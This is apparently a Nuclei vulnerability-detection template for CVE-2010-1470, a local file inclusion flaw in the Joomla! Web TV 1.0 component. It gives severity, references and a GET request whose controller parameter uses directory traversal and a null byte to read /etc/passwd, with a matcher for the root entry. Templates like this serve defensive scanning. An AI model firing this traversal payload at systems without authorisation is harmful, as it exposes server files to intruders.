id: CVE-2010-1470

info:
  name: Joomla! Component Web TV 1.0 - Local File Inclusion
  author: daffainfo
  severity: high
  description: A directory traversal vulnerability in the Web TV (com_webtv) component 1.0 for Joomla! allows remote attackers to read arbitrary files and have possibly other unspecified impacts via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, potentially leading to unauthorized access or information disclosure.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/12166
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1470
    - http://www.exploit-db.com/exploits/12166
    - http://www.vupen.com/english/advisories/2010/0858
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2010-1470
    cwe-id: CWE-22
    epss-score: 0.04775
    epss-percentile: 0.8959
    cpe: cpe:2.3:a:dev.pucit.edu.pk:com_webtv:1.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: dev.pucit.edu.pk
    product: com_webtv
  tags: cve,cve2010,joomla,lfi,edb,dev.pucit.edu.pk,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_webtv&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100e2eec8b83db330f8c27c622b73e11d8e1516c8d854babe35e7eae575c6ee82fa022100c9c928e67a8019a6bab18819f093df5f295f98bc4f21ea21cab8a84f01769802:922c64590222798bb761d5b6d8e72950